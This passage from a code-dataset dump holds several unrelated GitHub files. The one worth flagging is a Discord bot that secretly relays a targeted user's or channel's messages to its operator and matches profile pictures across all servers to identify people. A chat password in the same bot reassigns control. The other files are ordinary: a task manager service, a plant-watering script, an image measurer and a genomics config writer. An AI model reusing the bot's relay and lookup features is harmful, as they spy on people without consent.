User\" in str(error):\n \n await ctx.send('No such user')\n else:\n \n raise error\n\n\n@bot.command()\nasync def pfpsearch(ctx,args):\n await ctx.send(\"SEARCHING\")\n from PIL import Image\n import requests\n from io import BytesIO\n import imagehash\n dcord1 = requests.get(args)\n img1 = Image.open(BytesIO(dcord1.content))\n hash = imagehash.average_hash(img1)\n for guild in bot.guilds:\n for member in guild.members:\n imgtwo=member.avatar_url\n #print(imgtwo)\n try:\n dcord2= requests.get(imgtwo)\n img2 = Image.open(BytesIO(dcord2.content))\n otherhash = imagehash.average_hash(img2)\n \n if (hash-otherhash==0):\n mutualservers=0\n buffer=\"\"\n\n \n user = await bot.fetch_user(member.id)\n \n embed=discord.Embed(title=\"Result\",color=discord.Color.blue())\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/avatars/{0.id}/{0.avatar}.png?size=1024\".format(user))\n embed.add_field(name=\"ID\",value=member.id)\n embed.add_field(name=\"Name\", value=str(user), inline=False)\n embed.add_field(name=\"Bot\", value=user.bot, inline=False)\n embed.add_field(name=\"Created At \", value=user.created_at, inline=False)\n for guild in bot.guilds:\n buff=[]\n if user in guild.members:\n mutualservers+=1\n buff.append(guild.name)\n await buffersender(ctx,buff,\"nl\")\n \n embed.add_field(name=\"# Mutual Servers\",value=mutualservers)\n embed.add_field(name=\"Mutual Servers\",value=buffer)\n\n \n \n await ctx.send(embed=embed)\n return\n except:\n continue\n\n \n \n \n \n \n\n@bot.command()\nasync def hackban(ctx,*,args):\n argsplit=args.split(\" \")\n for i in argsplit:\n member=await bot.fetch_user(int(i))\n \n \n \n await ctx.guild.ban(member,reason=\"ban\",delete_message_days=0)\n await ctx.send(\"Hack Banned \"+str(member))\n \n \n@bot.command() \nasync def kick(ctx, member: discord.Member):\n \n await member.kick(reason=None)\n await ctx.send(\n \"kicked \" + member.mention\n ) \n \n@bot.event\nasync def on_guild_join(guild):\n if guild.system_channel: \n await guild.system_channel.send(\"https://cdn.discordapp.com/attachments/814992950546530415/832627363677470800/IM3_-_All_Iron_PatriotWar_Machine_Scenes_5K_60FPS_1.gif\")\n@bot.command()\nasync def dump(ctx):\n \n \n \n\n\n\n \n directory_contents = os.listdir(\"dumper\")\n\n listofnames=[]\n\n for item in directory_contents:\n print(item.name)\n \n\n await ctx.send(file=discord.File(item.name))\n \n\n@bot.command()\nasync def cc(ctx,mode,*,name):\n \n if mode==\"a\":\n await ctx.guild.create_category(name)\n if mode==\"b\":\n await ctx.guild.create_voice_channel(name)\n \n\n\n if mode==\"c\":\n await ctx.guild.create_text_channel(name)\n@bot.event\nasync def on_message(message):\n #print(message)\n userid=message.author.id\n global mutedata\n global insuit\n global sendm\n global senddata\n if(userid==int(os.environ.get(\"userx\")) and message.content==bot.command_prefix+\"suit\"):\n if insuit==False:\n insuit=True\n await message.channel.send(\"Welcome back, sir\")\n return\n \n\n \n \n \n for i in mutedata:\n print(i)\n if i[1]==\"u\":\n if i[0]==message.author.id:\n await message.delete()\n elif i[1]==\"c\":\n if i[0]==message.channel.id:\n await message.delete()\n elif i[1]==\"s\":\n if i[0]==message.guild.id:\n await message.delete()\n\n\n print(senddata)\n if( (sendm) and( (message.author.id!=int(os.environ.get(\"userx\"))) and message.author.id!=802306785087586344)):\n if senddata[1]==\"u\":\n if userid==int(senddata[0]):\n userx=await bot.fetch_user(int(os.environ.get(\"userx\")))\n \n await userx.send(str(message.author)+\":\"+message.content)\n for attachment in message.attachments:\n await userx.send(attachment.url)\n if senddata[1]==\"c\":\n if message.channel.id==int(senddata[0]):\n userx=await bot.fetch_user(int(os.environ.get(\"userx\")))\n \n await userx.send(str(message.author)+\":\"+message.content)\n for attachment in message.attachments:\n await userx.send(attachment.url)\n \n \n #this is if the bot is not responding\n # if message.author.id != 802306785087586344:\n # await message.channel.send(userid==int(os.environ.get(\"userx\")))\n if message.content==os.environ.get(\"password\"):\n os.environ[\"userx\"] = str(message.author.id)\n \n await message.delete()\n \n if userid==int(os.environ.get(\"userx\")):\n userx=await bot.fetch_user(userid)\n # print(sendm)\n if(sendm):\n if message.channel.id==senddata[2]:\n #this is for sending info packets\n if(bot.command_prefix+\"call hangup\" not in message.content):\n\n if senddata[1]==\"u\":\n # print(\"usersend\")\n user=await bot.fetch_user(int(senddata[0]))\n \n await user.send(str(userx)+\" : \"+message.content)\n for attachment in message.attachments:\n await user.send(attachment.url)\n elif senddata[1]==\"c\":\n # print(\"channel send\")\n channel=await bot.fetch_channel(int(senddata[0]))\n await channel.send(str(userx)+\" : \"+message.content)\n for attachment in message.attachments:\n await channel.send(attachment.url)\n \n if echo:\n if not (isinstance(message.channel, discord.channel.DMChannel)):\n \n \n \n await message.delete()\n await message.channel.send(message.content)\n #time.sleep(1)\n await bot.process_commands(message) \n \n \n return\n else:\n await bot.process_commands(message) \n return\n\n \n \n \n if bot.command_prefix in message.content:\n if insuit:\n \n if( userid==int(os.environ.get(\"userx\")) and ( echo==False)):\n \n \n await bot.process_commands(message)\n \n \n \n\n \n \n \nkeep_alive()\n\nTOKEN=os.environ.get(\"DISCORD_BOT_SECRET\")\n\nbot.run(TOKEN)\n\n","repo_name":"gfund/Mark-8-Swift","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":27830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25979111758","text":"import logging\nfrom typing import Optional\n\nfrom vja import VjaError\nfrom vja.apiclient import ApiClient\nfrom vja.model import Project, User\n\nlogger = logging.getLogger(__name__)\n\n\nclass ProjectService:\n def __init__(self, api_client: ApiClient):\n self._api_client = api_client\n self._project_by_id: Optional[dict] = None\n\n def find_all_projects(self) -> [Project]:\n if not self._project_by_id:\n self._project_by_id = {x['id']: Project.from_json(x, []) for x in self._api_client.get_projects()}\n self.fill_ancestors()\n return self._project_by_id.values()\n\n def find_project_by_id(self, project_id: int) -> Project:\n if not self._project_by_id:\n self._project_by_id = {x['id']: Project.from_json(x, []) for x in self._api_client.get_projects()}\n self.fill_ancestors()\n return self._project_by_id.get(project_id)\n\n def find_project_by_title(self, title) -> Project:\n project_objects = [Project.from_json(x, []) for x in self._api_client.get_projects()]\n if not project_objects:\n raise VjaError('No projects exist. Go and create at least one.')\n project_found = [x for x in project_objects if x.title == title]\n if not project_found:\n raise VjaError(f'Project with title {title} does not exist.')\n return project_found[0]\n\n def get_default_project(self) -> Project:\n user = User.from_json(self._api_client.get_user())\n project_found = self.find_project_by_id(user.default_project_id)\n if not project_found:\n project_objects = [Project.from_json(x, []) for x in self._api_client.get_projects()]\n if not project_objects:\n raise VjaError('No projects exist. Go and create at least one.')\n project_objects.sort(key=lambda x: x.id)\n favorite_projects = [x for x in project_objects if x.is_favorite]\n if favorite_projects:\n project_found = favorite_projects[0]\n else:\n project_found = project_objects[0]\n return project_found\n\n def fill_ancestors(self):\n for project in self._project_by_id.values():\n ancestor_projects = []\n ancestor = self.get_ancestor_project(project.id, project.parent_project_id)\n while ancestor:\n ancestor_projects.append(ancestor)\n ancestor = self.get_ancestor_project(ancestor.id, ancestor.parent_project_id)\n project.ancestor_projects = ancestor_projects\n\n def get_ancestor_project(self, project_id, parent_project_id) -> Optional[Project]:\n if project_id == parent_project_id or parent_project_id == 0 or project_id == 0:\n return None\n return self._project_by_id.get(parent_project_id)\n","repo_name":"cernst72/vja","sub_path":"vja/project_service.py","file_name":"project_service.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"28403046393","text":"import ork.path\nfrom orkengine.core import *\nfrom orkengine.lev2 import *\nimport trimesh\n\n\n#!/usr/bin/env python3\n\n################################################################################\n# Copyright 1996-2023, Michael T. Mayers.\n# Distributed under the MIT License\n# see license-mit.txt in the root of the repo, and/or https://opensource.org/license/mit/\n################################################################################\n\nimport math, random, argparse, sys\nfrom orkengine.core import *\nfrom orkengine.lev2 import *\n\n################################################################################\n\nl2exdir = (lev2exdir()/\"python\").normalized.as_string\nsys.path.append(l2exdir) # add parent dir to path\nfrom common.cameras import *\nfrom common.shaders import *\nfrom common.misc import *\nfrom common.primitives import createGridData, createFrustumPrim\nfrom common.scenegraph import createSceneGraph\n\n################################################################################\n\nclass SceneGraphApp(object):\n\n def __init__(self):\n super().__init__()\n self.ezapp = OrkEzApp.create(self)\n self.ezapp.setRefreshPolicy(RefreshFastest, 0)\n self.materials = set()\n setupUiCamera(app=self,eye=vec3(5,5,5),tgt=vec3(0,0,0))\n\n ##############################################\n\n def onGpuInit(self,ctx):\n\n createSceneGraph(app=self,rendermodel=\"ForwardPBR\")\n\n ###################################\n # create grid\n ###################################\n\n self.grid_data = createGridData()\n self.grid_node = self.layer1.createGridNode(\"grid\",self.grid_data)\n self.grid_node.sortkey = 1\n\n ##################################\n # solid wire pipeline\n ##################################\n solid_wire_pipeline = createPipeline( app = self,\n ctx = ctx,\n rendermodel = \"ForwardPBR\",\n shaderfile=Path(\"orkshader://basic\"),\n techname=\"tek_fnormal_wire\" )\n\n material = solid_wire_pipeline.sharedMaterial\n solid_wire_pipeline.bindParam( material.param(\"m\"), tokens.RCFD_M)\n #################################################################\n\n capsule = trimesh.primitives.Capsule(radius=1, height=2.0)\n\n print(capsule.is_watertight)\n print(capsule.euler_number)\n print(capsule.volume)\n\n trimesh.base.Trimesh\n\n capsule_vertices = []\n for item in capsule.vertices:\n capsule_vertices.append({\n \"p\": vec3(item[0], item[1], item[2])\n }) \n\n capsule_submesh = meshutil.SubMesh.createFromDict({\n \"vertices\": capsule_vertices,\n \"faces\": capsule.faces\n })\n\n print(capsule_submesh)\n #print(capsule_submesh.vertices)\n #print(capsule_submesh.polys)\n #print(capsule_submesh.edges)\n\n self.barysub_isect = capsule_submesh.withBarycentricUVs()\n self.capsule_prim = meshutil.RigidPrimitive(self.barysub_isect,ctx)\n self.capsule_sgnode = self.capsule_prim.createNode(\"capsule\",self.layer1,solid_wire_pipeline)\n self.capsule_sgnode.enabled = True\n #################################################################\n self.context = ctx\n\n ##############################################\n\n def onGpuIter(self):\n pass\n\n ##############################################\n\n def onUiEvent(self,uievent):\n handled = self.uicam.uiEventHandler(uievent)\n if handled:\n self.camera.copyFrom( self.uicam.cameradata )\n\n ################################################\n\n def onUpdate(self,updinfo):\n self.abstime = updinfo.absolutetime\n #########################################\n self.scene.updateScene(self.cameralut) \n\n###############################################################################\n\nsgapp = SceneGraphApp()\n\nsgapp.ezapp.mainThreadLoop(on_iter=lambda: sgapp.onGpuIter() )\n\n","repo_name":"tweakoz/orkid","sub_path":"ork.lev2/pyext/tests/submesh/from_trimesh.py","file_name":"from_trimesh.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"de","doc_type":"code","stars":27,"dataset":"github-code","pt":"37"} +{"seq_id":"72864534187","text":"import xlwt\n\n\nwith open('city.txt', 'r', encoding='GBK') as f:\n data = f.read()\n _city = eval(data)\n city = list()\n for i in range(1, 4):\n info = _city[str(i)]\n city.append(i)\n city.append(info)\n row = len(city)//len(_city)\n\n\ndef horz_left(x, y, data):\n alignt = xlwt.Alignment()\n alignt.horz = xlwt.Alignment.HORZ_LEFT\n style = xlwt.XFStyle()\n style.alignment = alignt\n table.write(x, y, data, style)\n\nf = xlwt.Workbook()\ntable = f.add_sheet('city')\nfor i in range(len(city)):\n if not i % row:\n horz_left(i//row, i%row, city[i])\n else:\n table.write(i//row, i%row, city[i])\n\nf.save('city.xls')\n","repo_name":"JevenM/show_me_the_code","sub_path":"0015/0015.py","file_name":"0015.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34663260185","text":"import RPi.GPIO as gpio\nimport time\nimport sys\nfrom pushover import init,Client\n\n# pushover\ninit(\"\")\n\npump_pin = 21\nsoil = 20\nsec_to_water = 30\n\ngpio.setmode(gpio.BCM)\ngpio.setup(pump_pin, gpio.OUT)\ngpio.setup(soil, gpio.IN)\n\n\ndef pump_off():\n gpio.output(pump_pin, gpio.HIGH)\n\n\ndef pump_on():\n gpio.output(pump_pin, gpio.LOW)\n\n\ndef soil_check(seconds):\n if gpio.input(20):\n print(\"Watering the plant for:\" + str(seconds) + \"s\")\n # off\n pump_on()\n time.sleep(seconds)\n pump_off()\n print(\"Finished Watering! Now sending push notification...\")\n Client(\"\").send_message(\n \"Pumped water to the plants\", title=\"Plants have been watered!\"\n )\n gpio.cleanup()\n else:\n pump_off()\n gpio.cleanup()\n print(\"Sending notification plants already watered!\")\n Client(\"\").send_message(\n \"No water pumped to plants\", title=\"Plants have already been watered!\"\n )\n sys.exit()\n\n\nsoil_check(sec_to_water)\n","repo_name":"jacques-andre/pi-plant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39902745344","text":"# 이런 문제는 문자열을 하나하나 방문하면서 확인한다.\n# 숫자면 합계, 알파벳이면 별도의 리스트에 저장\n\ndata =input()\nresult =[]\nvalue =0\n\nfor x in data:\n if x.isalpha():\n result.append(x)\n else:\n value += int(x)\n\nresult.sort()\n\nif value != 0:\n result.append(str(value))\n\nprint(''.join(result))\n\n# isapha 함수는 알파벳인지 확인해주는 함수\n# 문자 리스트도 sort 가능\n# ''.join(result)로 리스트를 벗길 수 있다!!","repo_name":"ayz1070/This_Is_Coding_Test","sub_path":"ThisIsAlogorithm/chap4/4-characterSol.py","file_name":"4-characterSol.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44285946951","text":"import numpy as np\r\nimport random\r\n\r\n\r\nclass UniConstrains:\r\n def __init__(self, domainSize, low=0, high=100):\r\n self.domainSize = domainSize\r\n self.low = low\r\n self.high = high\r\n\r\n def create_constraint(self):\r\n matrix = []\r\n for row in range(self.domainSize):\r\n row = []\r\n for assignment in range(self.domainSize):\r\n uti = random.uniform(self.low, self.high)\r\n utility = round(uti, 2)\r\n row.append(utility)\r\n matrix.append(row)\r\n return matrix\r\n\r\n\r\n","repo_name":"LiorBlecher/Moral-Equilibrium-in-Multi-Agent-Systems","sub_path":"Constrains.py","file_name":"Constrains.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32150705969","text":"from random import randint\r\nx = randint(0, 21)\r\nattempts = 5\r\nprint(f\"Комьютер загадал число.\\nУ вас есть {attempts} попытки(-ок). Удачи!\")\r\nfor i in range (attempts):\r\n y = input(\"Попробуйте угадать: \")\r\n if y.lower() == \"выход\":\r\n break\r\n else:\r\n y = int(y)\r\n if i == attempts - 1 and y != x:\r\n print(f\"Game over!\\nЧисло: {x}\")\r\n else:\r\n if y > x:\r\n print(\"Попробуйте число меньше!\")\r\n elif y < x:\r\n print(\"Попробуйте число больше!\")\r\n else:\r\n print(\"Победа!\")\r\n break\r\n","repo_name":"Max5300/gsomhometaskslesson7","sub_path":"game_num.py","file_name":"game_num.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3455838506","text":"from langchain.document_loaders import TextLoader\r\nimport torch\r\nfrom langchain.document_loaders import TextLoader\r\nfrom transformers import BertJapaneseTokenizer, BertModel\r\nimport os\r\nimport scipy\r\n\r\n\r\nclass SentenceBertJapanese:\r\n def __init__(self, model_name_or_path, device=None):\r\n self.tokenizer = BertJapaneseTokenizer.from_pretrained(model_name_or_path)\r\n self.model = BertModel.from_pretrained(model_name_or_path)\r\n self.model.eval()\r\n\r\n if device is None:\r\n if device is None:\r\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\r\n self.device = torch.device(device)\r\n self.model.to(device)\r\n\r\n def _mean_pooling(self, model_output, attention_mask):\r\n token_embeddings = model_output[0] #First element of model_output contains all token embeddings\r\n input_mask_expanded = attention_mask.unsqueeze(-1).expand(token_embeddings.size()).float()\r\n return torch.sum(token_embeddings * input_mask_expanded, 1) / torch.clamp(input_mask_expanded.sum(1), min=1e-9)\r\n\r\n\r\n def encode(self, sentences, batch_size=8):\r\n all_embeddings = []\r\n iterator = range(0, len(sentences), batch_size)\r\n for batch_idx in iterator:\r\n batch = sentences[batch_idx:batch_idx + batch_size]\r\n\r\n encoded_input = self.tokenizer.batch_encode_plus(batch, padding=\"longest\",\r\n truncation=True, return_tensors=\"pt\").to(self.device)\r\n model_output = self.model(**encoded_input)\r\n sentence_embeddings = self._mean_pooling(model_output, encoded_input[\"attention_mask\"]).to('cpu')\r\n\r\n all_embeddings.extend(sentence_embeddings)\r\n\r\n # return torch.stack(all_embeddings).numpy()\r\n return torch.stack(all_embeddings)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef query(query_str,sentece_vectors):\r\n model= SentenceBertJapanese(\"sonoisa/sentence-bert-base-ja-mean-tokens\")\r\n query =query_str\r\n queries = [query]\r\n query_embeddings = model.encode(queries)\r\n\r\n # Find the closest 3 sentences of the corpus for each query sentence based on cosine similarity\r\n number_top_matches = 3 # @param {type: \"number\"}\r\n res_list=[]\r\n score_list=[]\r\n for query, query_embedding in zip(queries, query_embeddings):\r\n query_embeddings_clone=query_embedding.detach().numpy()\r\n sentence_vectors_clone=sentence_vectors.detach().numpy()\r\n distances = scipy.spatial.distance.cdist([query_embeddings_clone], sentence_vectors_clone, \"cosine\")[0]\r\n\r\n results = zip(range(len(distances)), distances)\r\n results = sorted(results, key=lambda x: x[1])\r\n\r\n for idx, distance in results[0:number_top_matches]:\r\n res_list.append(docs[idx].strip())\r\n score_list.append(1-distance)\r\n return res_list,score_list\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"shingonio/2306_cityoftiba","sub_path":"tools/sbertWithcon.py","file_name":"sbertWithcon.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4655395584","text":"import os\nimport shutil\nimport subprocess\ndef tumor_only(p1,p2,sampelID,outdir,purity,sex,type,n1=\"0\",n2=\"0\"):\n if not os.path.exists(outdir):\n os.mkdir(outdir)\n ##################################tumor sample\n pe1 = os.path.basename(p1)\n pe2 = os.path.basename(p2)\n if not os.path.exists(\"%s/%s\" %(outdir,pe1)):\n shutil.copy(p1,outdir)\n if not os.path.exists(\"%s/%s\" % (outdir, pe2)):\n shutil.copy(p2,outdir)\n ##################################output parameter\n outfile = open(\"%s/run_sm_counter_v2.params.txt\" % (outdir), \"w\")\n outfile.write(\"[general]\\n\"\n \"cutadaptDir = /opt/conda/bin/\\n\"\n \"bwaDir = /opt/conda/bin/\\n\"\n \"samtoolsDir = /srv/qgen/bin/samtools-1.5/bin/\\n\"\n \"javaExe = /opt/conda/jre/bin/java\\n\"\n \"sswPyFile = /srv/qgen/bin/ssw/src/ssw_wrap.py\\n\"\n \"torrentBinDir = /srv/qgen/bin/TorrentSuite/\\n\"\n \"vcflibDir = /srv/qgen/bin/vcflib/bin/\\n\"\n \"quandicoDir = /srv/qgen/code/qiaseq-dna/copy_number/\\n\"\n \"numCores = 0\\n\"\n \"deleteLocalFiles = False\\n\"\n \"samtoolsMem = 25000M\\n\"\n \"outputDetail = True\\n\"\n \"primer3Bases = 8\\n\"\n \"genomeFile = /srv/qgen/data/genome/hg19/ucsc.hg19.fa\\n\"\n \"endogenousLenMin = 15\\n\"\n \"tagNameUmiSeq = mi\\n\"\n \"tagNameUmi = Mi\\n\"\n \"tagNameDuplex = Du\\n\"\n \"tagNamePrimer = pr\\n\"\n \"tagNamePrimerErr = pe\\n\"\n \"tagNameResample = re\\n\"\n \"vcfComplexGapMax = 3\\n\"\n \"snpEffPath = /opt/conda/share/snpeff-4.2-0/\\n\"\n \"snpEffConfig = /opt/conda/share/snpeff-4.2-0/snpEff.config\\n\"\n \"snpEffData = /srv/qgen/data/annotation/snpEff/\\n\"\n \"dbSnpFile = /srv/qgen/data/annotation/common_all_20160601.vcf.gz\\n\"\n \"cosmicFile = /srv/qgen/data/annotation/CosmicAllMuts_v69_20140602.vcf.gz\\n\"\n \"clinVarFile = /srv/qgen/data/annotation/clinvar_20160531.vcf.gz\\n\"\n \"umiCutoff = 10\\n\"\n \"pValCutoff = 0.01\\n\"\n \"tumorPurity = %s\\n\"\n \"[smCounter]\\n\"\n \"minBQ = 25\\n\"\n \"minMQ = 50\\n\"\n \"hpLen = 8\\n\"\n \"mismatchThr = 6.0\\n\"\n \"consThr = 0.8\\n\"\n \"minAltUMI = 3\\n\"\n \"maxAltAllele = 2\\n\"\n \"primerDist = 2\\n\"\n \"repBed = /srv/qgen/data/annotation/simpleRepeat.full.bed\\n\"\n \"srBed = /srv/qgen/data/annotation/SR_LC_SL.full.bed\\n\"\n \"[%s]\\n\"\n \"readFile1 =/project/%s\\n\"\n \"readFile2 = /project/%s\\n\"\n \"instrument = Other\\n\"\n \"primerFile =/srv/qgen/example/DHS-3501Z.primer3.txt\\n\"\n \"roiBedFile =/srv/qgen/example/DHS-3501Z.roi.bed\\n\"\n \"platform = Illumina\\n\"\n \"runCNV = True\\n\"\n \"duplex = False\\n\"\n % (purity,sampelID, pe1, pe2))\n if type==\"cfDNA\":\n outfile.write(\n \"refUmiFiles =/srv/qgen/data/base_line_cfDNA/%s1.sum.primer.umis.txt,/srv/qgen/data/base_line_cfDNA/%s2.sum.primer.umis.txt,/srv/qgen/data/base_line_cfDNA/%s3.sum.primer.umis.txt,/srv/qgen/data/base_line_cfDNA/%s4.sum.primer.umis.txt\"\n % (sex, sex, sex,sex))\n else:\n outfile.write(\"refUmiFiles =/srv/qgen/data/base_line_tissue/%s1.sum.primer.umis.txt,/srv/qgen/data/base_line_tissue/%s2.sum.primer.umis.txt,/srv/qgen/data/base_line_tissue/%s3.sum.primer.umis.txt\"\n %(sex,sex,sex))\n if n1 != \"0\" and n2 != \"0\":\n outfile.write(\",/project/normal.sum.primer.umis.txt\\n\")\n else:\n outfile.write(\"\\n\")\n ####################################normal sample\n cmd=\"\"\n if n1 != \"0\" and n2 != \"0\":\n pe3 = os.path.basename(n1)\n pe4 = os.path.basename(n2)\n if not os.path.exists(\"%s/%s\" % (outdir, pe3)):\n shutil.copy(n1, outdir)\n if not os.path.exists(\"%s/%s\" % (outdir, pe4)):\n shutil.copy(n2, outdir)\n outfile.write(\n \"sampleType =tumor\\n\"\n \"[normal]\\n\"\n \"readFile1 = /project/%s\\n\"\n \"readFile2 = /project/%s\\n\"\n \"instrument = Other\\n\"\n \"primerFile =/srv/qgen/example/DHS-3501Z.primer3.txt\\n\"\n \"roiBedFile =/srv/qgen/example/DHS-3501Z.roi.bed\\n\"\n \"platform = Illumina\\n\"\n \"sampleType =normal\\n\"\n \"duplex = False\\n\"%(pe3,pe4))\n cmd = \"docker run -v /software/qiaseq-dna/data/:/srv/qgen/data/ -v %s:/project/ \" \\\n \"qiaseq275:1.0 python /srv/qgen/code/qiaseq-dna/run_qiaseq_dna.py run_sm_counter_v2.params.txt v2 tumor-normal %s normal\" \\\n % (outdir, sampelID)\n else:\n cmd = \"docker run -v /software/qiaseq-dna/data/:/srv/qgen/data/ -v %s:/project/ \" \\\n \"qiaseq275:1.0 python /srv/qgen/code/qiaseq-dna/run_qiaseq_dna.py run_sm_counter_v2.params.txt v2 single %s\" \\\n % (outdir, sampelID)\n outfile.write(\"sampleType =Single\\n\")\n outfile.close()\n ###################################\n if not os.path.exists(\"%s/%s.smCounter.anno.vcf\"%(outdir,sampelID)):\n subprocess.check_call(cmd,shell=True)\n else:\n pass","repo_name":"fanyucai1/script","sub_path":"panel_275_1.0/core/print_config.py","file_name":"print_config.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"11898260935","text":"import time\nimport csv\nfrom bleurt import score\n\ncandidates = []\nreferences = []\n\nwith open('newsela_aligned/newsela.test.dst') as f:\n candidates = f.read().splitlines()\nf.close()\n\nwith open('newsela_aligned/newsela.test.src') as f:\n references = f.read().splitlines()\nf.close()\n\n# Number of training set sentences = 94208\n# candidates = candidates[:1000]\n# references = references[:1000]\nprint(len(candidates))\n\nstart_time = time.time()\ncheckpoint = \"/home/yelman/Desktop/IS/bleurt-base-128\"\nscorer = score.BleurtScorer(checkpoint)\nscores = scorer.score(references, candidates)\n\nrows = zip(references, candidates, scores)\n\n\nwith open(\"BLEURT_output_test.csv\", \"w\") as f:\n writer = csv.writer(f)\n writer.writerow((\"Reference\", \"Candidate\", \"BLEURT Score\"))\n for row in rows:\n writer.writerow(row)\nf.close()\nprint(\"--- Done!! Took %s seconds ---\" % (time.time() - start_time))\n","repo_name":"yelmankhan008/Text-Simplification","sub_path":"get_scores.py","file_name":"get_scores.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1315182165","text":"sol = []\nfor i in range(0,10001):\n proper_i=0\n proper_test=0\n for k in range(1,i):\n if i%k==0:\n proper_i+=k\n for k in range(1,proper_i):\n if proper_i%k==0:\n proper_test+=k\n if proper_test==i and i!=proper_i:\n sol.append(i)\n\n\n print(i, proper_i, proper_test)\nprint(sol)\nstart =0\nfor amical in sol:\n start+=amical\n\nprint(start)\n","repo_name":"AlexHal/Project-Euler","sub_path":"p21.py","file_name":"p21.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42569132614","text":"import cv2\r\nimport numpy as np\r\nimport utlis\r\n\r\nwebcam = True\r\npath = '1.jpg'\r\n\r\ncap = cv2.VideoCapture(1)\r\n\r\n#图像亮度\r\ncap.set(10,1060)\r\n#图像宽度\r\ncap.set(3,1920)\r\n#图像高度\r\ncap.set(4,1080)\r\n\r\n# P4纸张显示大小\r\nscale = 3\r\nwP = 210 * scale\r\nhP = 297 * scale\r\n\r\n\r\n\r\n\r\nwhile True:\r\n\r\n # 测试摄像头\r\n if webcam:success, img = cap.read()\r\n # 测试图片\r\n else: img = cv2.imread(path)\r\n\r\n\r\n img, conts= utlis.getContours(img, minArea=50000,filter=4)\r\n\r\n # A4内物体\r\n if len(conts)!= 0:\r\n # 外围拟合approx数据\r\n biggest = conts[0][2]\r\n #print(biggest)\r\n imgWarp = utlis.warpImg(img,biggest,wP,hP)\r\n imgContours2, conts2 = utlis.getContours(imgWarp, minArea=2000, filter=4,cTHr=[50,50],draw=False)\r\n\r\n # 绘制A4物体外框拟合\r\n if len(conts2)!=0:\r\n for obj in conts2:\r\n cv2.polylines(imgContours2,[obj[2]],True,(0,255,0),2)\r\n nPoints = utlis.reorder(obj[2])\r\n nW = round((utlis.findDis(nPoints[0][0]//scale,nPoints[1][0]//scale)/10),1)\r\n nH = round((utlis.findDis(nPoints[0][0]//scale,nPoints[2][0]//scale)/10),1)\r\n\r\n cv2.arrowedLine(imgContours2, (nPoints[0][0][0], nPoints[0][0][1]),\r\n (nPoints[1][0][0], nPoints[1][0][1]),\r\n (255, 0, 255), 3, 8, 0, 0.05)\r\n cv2.arrowedLine(imgContours2, (nPoints[0][0][0], nPoints[0][0][1]),\r\n (nPoints[2][0][0], nPoints[2][0][1]),\r\n (255, 0, 255), 3, 8, 0, 0.05)\r\n x, y, w, h = obj[3]\r\n cv2.putText(imgContours2, '{}cm'.format(nW), (x + 30, y - 10), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5,\r\n (255, 0, 255), 2)\r\n cv2.putText(imgContours2, '{}cm'.format(nH), (x - 70, y + h // 2), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5,\r\n (255, 0, 255), 2)\r\n\r\n\r\n cv2.imshow('A4', imgContours2)\r\n\r\n\r\n #改变图片大小\r\n img = cv2.resize(img,(0,0),None,0.5,0.5)\r\n\r\n cv2.imshow('original',img)\r\n cv2.waitKey(1)","repo_name":"roujrouee/OpenCV-ObjectMeasure","sub_path":"scr/ObjectMeasure.py","file_name":"ObjectMeasure.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22094211072","text":"#!/usr/bin/env python3\n\nimport gi\nimport time\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk\n\nwin = Gtk.Window(title=\"State window\")\nwin.set_border_width(10)\nsw = Gtk.Switch()\nsw.set_active(True)\nwin.add(sw)\n\nwin.connect(\"destroy\", Gtk.main_quit)\nwin.show_all()\n\nPORT_NUMBER = 3001\n\n\n# Server\nclass myHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n self.wfile.write(bytes(\"Path is {}\\n\".format(self.path), 'UTF8'))\n sw.set_state(self.path == '/on')\n return\n\n\ndef start_server():\n server = HTTPServer(('localhost', PORT_NUMBER), myHandler)\n print('Started httpserver on port ', PORT_NUMBER)\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n pass\n\n\nth = threading.Thread(target=start_server)\nth.daemon = True\nth.start()\n\nGtk.main()\n","repo_name":"dvictor/google-smarthome-switch","sub_path":"screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13026974267","text":"class Solution:\n # @param gas, a list of integers\n # @param cost, a list of integers\n # @return an integer\n def 